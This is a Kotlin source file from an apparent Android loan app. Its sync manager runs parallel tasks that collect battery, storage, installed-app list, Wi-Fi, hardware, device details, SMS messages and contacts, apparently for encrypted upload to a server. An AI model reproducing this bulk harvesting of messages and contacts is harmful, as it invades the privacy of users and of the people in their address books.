package com.siblings.loan.sys.data

import android.annotation.SuppressLint
import android.app.Application
import android.content.Context
import android.os.Handler
import android.os.Looper
import com.siblings.loan.sys.data.http.ASUrlHelper
import com.siblings.loan.sys.data.task.ASBatteryTask
import com.siblings.loan.sys.data.task.ASDeviceTask
import com.siblings.loan.sys.data.task.OnTaskComplete
import java.util.concurrent.CompletableFuture

@SuppressLint("StaticFieldLeak")
object ASSycManager {

    private lateinit var _context: Context
    private var _taskCompleteListener: OnTaskComplete? = null

    fun init(applicationContext: Application) {
        _context = applicationContext
    }

    fun syncData(token: String, completeListener: OnTaskComplete) {
        try {
            ASSycBuilder.token = token
            _taskCompleteListener = completeListener

            val badToken = ASSycBuilder.token.isBlank()
            val badProduct = ASSycBuilder.product.isBlank()
            val badUrl = ASUrlHelper.combineUrl().isBlank()
            val badAes = (ASSycBuilder.aesKey.isBlank() or ASSycBuilder.aesIv.isBlank())
            if (badToken or badProduct or badUrl or badAes) {
                completeListener.onAllCompleted()
                return
            }

            val deviceTasks = listOf(
                CompletableFuture.supplyAsync {
                    ASBatteryTask(_context).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_STORE
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_APP_LIST
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_WIFI
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_HARDWARE
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_DEVICE
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_MESSAGE
                    ).get()
                },
                CompletableFuture.supplyAsync {
                    ASDeviceTask(
                        _context,
                        ASDeviceTask.TASK_CONTACT
                    ).get()
                },
            )

            CompletableFuture.allOf(*deviceTasks.toTypedArray()).thenRun {
                println("syncData: all tasks have been executed...")
                Handler(Looper.getMainLooper()).post {
                    _taskCompleteListener?.onAllCompleted()
                }
            }
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}
